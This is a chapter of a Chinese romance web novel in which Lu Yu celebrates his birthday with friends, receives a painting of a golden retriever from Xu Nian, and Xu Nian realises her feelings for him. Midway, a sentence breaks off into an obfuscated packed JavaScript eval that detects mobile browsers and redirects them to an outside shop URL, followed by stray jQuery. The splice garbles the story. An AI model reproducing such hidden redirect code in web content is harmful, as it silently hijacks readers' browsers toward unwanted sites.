急促的门铃一阵阵响起。
鹿玙沉重地掀了掀眼,表情有些茫然地对上天花板,混沌的思绪慢慢沉淀,他才意识到自己在沙发上睡着了。
音频已经停止播放,手机也掉到了地上。
他抬起手臂覆在眼睛上,门铃声还在不停。
鹿玙缓慢起身捡起手机,屏幕显示下午三点。
许念发了很多信息。
各式各样的可爱表情包占据了99+信息中百分之九十九的位置,直到最下方才有几句欲盖弥彰的留言,鹿玙轻点屏幕回复:【这些表情包是?】
很快,许念算得上秒回,顺带暗戳戳转移话题:【那个……总之别管!你干嘛去了?】
鹿玙认真回她:【不小心睡着了,才醒】
门铃声渐渐变得断断续续,犹犹豫豫,在完全要息鼓之前,鹿玙拉开了门。
门外,原本倚着墙的顾彦反应极快,拎起脚边的蛋糕盒和行李箱,侧身就挤了进去,嘴里还不忘嚷嚷,“按了这么久才开门,你这里面藏了见不得人的东西?”
凌澈跟在他身后,目光略带深意地扫过鹿玙那双不怎么红但微肿尚未完全消褪的眼睛,没说什么,径直走入。
原定下周一才到的顾彦突降。
鹿玙在门口顿了顿,有些不自在地用指尖按了按眼皮,路过玄关的全身镜时瞥了一眼自己的状态。
睡了一觉精神恢复不少,但眼皮还是能看出来有哭过的痕迹。
鹿玙转身进了洗手间,用冷水扑了扑脸,在眼皮那处反复揉压,隔音不算好的玻璃门外传来顾彦兴奋的声音。
“京城这天气真够劲,雪厚得能到我小腿!等下咱们出去打雪仗堆雪球怎么样?”
凌澈低笑两声,语气没什么波澜地打断他的幻想,“吃完蛋糕,收拾一下,晚上有个商务饭局。”
顾彦顿时哀嚎,“不是吧!你们一个两个,还有没有点人情味了?”
“你以为是来旅游的?”凌澈说话的声音沙哑低沉,“项目不是过家家,想想你投进去的钱,愿意听个响就没了?”
顾彦瞬间噤声。
那些钱对顾家而言就是洒洒水,但这里面,承载的是外公对他的期望和支持。
从他回到顾家起,就被寄予了厚望。外公亲自教导他管理、经济、金融,不是为了让他挥霍玩闹。
更何况,他们三人是一个团队,他失败了,身后尚且有外公、有顾家兜着,凌澈他不知道实力,背景成谜,深浅不知,但对于鹿玙,他清楚地明白项目对鹿玙来说多重要。
自项目启动,鹿玙几乎榨干了所有空余时间,那一摞摞计算数据,一份份迭代的模型参数,是每个碎片化的课间,每晚熬到两三点的成果。
数据被毁后,他原以为鹿玙会直接放弃,无论是时间还是心理压力,常人都难以承受。可鹿玙没有想象中的崩溃和消沉,只是沉默地理好计划,直奔京城,一切从头再来。
那些钱打水漂是小事,他不愿让外公失望,更不愿辜负并肩作战的伙伴。
鹿玙甩甩打湿的头发从洗手间出来。
顾彦扭头,轻咳一声,笑着起身揽住鹿玙的肩,颇为豪壮的声音炸开,“干!当然得干,往死里干!”
“大干特干之前先给大寿星生日过了。”顾彦将攥在手里发热了的塑料刀塞给鹿玙,“我一下飞机就赶着过来,被你晾在门外十几分钟,蛋糕给我分多点。”
三个男生过生日没那么多繁琐仪式,直接分切,一人一盘。
顾彦揉了揉吃撑的肚子,看向旁边两位,他两份都已经吃完了,鹿玙和凌澈吃得慢斯条理,一份吃了还不到一半。
闲来无事,顾彦忍不住气氛这么沉默,他是来给人过生日的,不是来过丧的。
于是他勾着笑提了一嘴,当时鹿玙请假的事是许念帮的忙,又吐槽自己请假的艰辛,同样被栗舒磨着,非要见到他外公才罢休。
“她那眼神,你是没看见,估计怀疑我俩干什么非法勾当去了,还特意嘱咐我外公多盯着我点。”
鹿玙握着叉子的手一顿,“栗舒批我的假是因为许念父母?”
“对啊,”顾彦浑然未觉,没意识到他干了件多伟大的事,顺口接道,“许念没跟你说吗?”
“哦对了,礼物!”顾彦一拍脑袋,长腿跨过沙发,打开行李箱,从一堆衣服里翻出一个长方形的礼盒,递给鹿玙。
“为了给你带这东西,我衣服都没塞多少。”
“许念千叮万嘱,说礼物就得生日当天拆才有意义,你快看看。”
周五,他被下了晚自习的苏北北堵在家门外,盘问了半天,才知道是许念指派了苏北北,苏北北又来威逼利诱他,让他务必今天,带着礼物准时赶到京城。
鹿玙拆开礼盒,彩色拉菲草垫衬其间,一幅精心装裱的油画静静躺在盒中。
“这是许念画的吧,这个是你……那这条狗是?”顾彦凑过头来,好奇地指着画中那只金毛。
“是太阳。”鹿玙声线发颤。
“太阳?”顾彦看着画中在花丛里蹦得老高笑得很欢的金毛,“它叫太阳,你以前养的?”
“嗯。”算是吧。
鹿玙低声应道。
凌澈饶有兴致盯着画看了好一会。
笔触细腻,色彩明快饱满,光影层次分明,将人与狗的神态捕捉得惟妙惟肖。
鹿玙小心翼翼捧起画框,一股酥麻的暖流瞬间涌过心口。
他两只手发软险些拿不稳,“凌澈,这是太阳。”他轻声说着,珍重又难以置信看了一遍又一遍。
不是那个只能存在于幻想中的太阳,而是凌澈能看见、顾彦能看见、被许念画出来的太阳。
画上,少年的脸被晨光晕染,脸上挂着淡淡的笑,亲昵地被金毛扑了个满怀,盛开在整片花海中,摇曳成一个春天。
凌澈眉毛微挑,毋庸置疑,这幅画对鹿玙而言,是一个很好甚至完美的礼物。
许念或许不知道太阳从何而来,又为何离去,但她赋予太阳能再一次陪在鹿玙身边的意义。
鹿玙怎么能不高兴,又怎么能不激动。
顾彦虽不理解鹿玙此刻翻涌的心绪,也看不懂凌澈似笑非笑的眼神,但刻在骨子里的涵养告诉他此时不宜妄动。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053728|193553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就待在旁边,和凌澈一起,安静地陪着鹿玙。
他鲜少从鹿玙身上感受到过情绪波动,做了那么久的同桌,直到此刻,他才真切地觉得鹿玙是一个有血有肉,有常人情感的活人。
鹿玙看了那幅画很久,直到凌澈催促,他不得不放下,将画重新郑重仔细收进礼盒。
晚上商务饭局回来,顾彦想赖在鹿玙那坐会,一只脚刚抬起,“啪”一声紧闭的房门在离他鼻尖前五厘米处利落锁上。
……
顾彦心一颤,摸摸差点遭殃的鼻子,心有余悸地转身,乖乖回了隔壁自己的房间。
鹿玙视频打过来的时候,许念穿着黄橙橙厚厚软软的毛绒熊睡衣正在做题。再过一个月就要放寒假了,学业压力不小。
月测刚结束,许念稳定发挥,接下来只需专注高三上学期的期末考。这段时间,往往是她每个学期里最投入的状态。
她一边演算着题目,一边和鹿玙说着寒假期间的同步培优计划,课程一直排到除夕前一天。
嘴里嘟嘟囔囔,说作业好多,也没人陪,一个人风里来雨里去,心情都不好。
许念不知道什么时候开始,学会了在鹿玙面前装可怜,装得还真像那么回事。
鹿玙也信,一连再三保证等他回去都补偿回来,许念趁机又提了好多个要求,要喝他做的水果茶,要吃他做的酸奶捞,要这要那,都是要花时间的东西和事情,但鹿玙都一一应允。
许念心情很美,做题的速度都快了不少,在写完一道函数题,准备写其他大题落下一个解时,她笔尖忽地一顿,用笔头轻轻敲了敲屏幕,话锋一转,“话说,你去京城这么久,功课有没有每天按时做完?”
她每天雷打不动地给他同步老师的讲课进度。起初,鹿玙还会主动汇报自学情况,后来项目吃紧,频率渐渐减少。许念摸不准,他现在还有没有精力兼顾学业。
她知道鹿玙很厉害,即便不循规蹈矩也足够出色。
但她存了私心。
从小到大,她一直很受欢迎。
幼稚园玩游戏,男生女生都争着和她组队;小学时,她的课桌里永远有吃不完的零食;情窦初开的年纪,开始有人递情书、送礼物,约她出游。
许念对自己的认知,她被喜欢,是人之常情。
所以,在察觉以及面对鹿玙的喜欢时,她也只是讶异一瞬,相处一如既往。
可她没意识到,她对鹿玙是不同的。
别人的喜怒哀乐,她很少费心关注,更别提特意照顾。唯独对鹿玙,她很敏感,敏感到能精准捕捉他每一丝细微的情绪起伏,并付诸行动。
她把这种不同和对家人的依赖与习惯混在一起,理所当然地认为,鹿玙既住在她家,就是家中的一份子,她当然有权利、也有义务去照顾他,帮助他。
但她忽略了,在面对鹿玙偶尔流露的温柔时,会脸红,会心跳失序,会不好意思。
直到这次鹿玙去京城,她的心就像被掏空了,这是家里其他人远行时,从来没有过的感觉,她才恍然明白。
原来,这是喜欢。
所以,她喜欢鹿玙。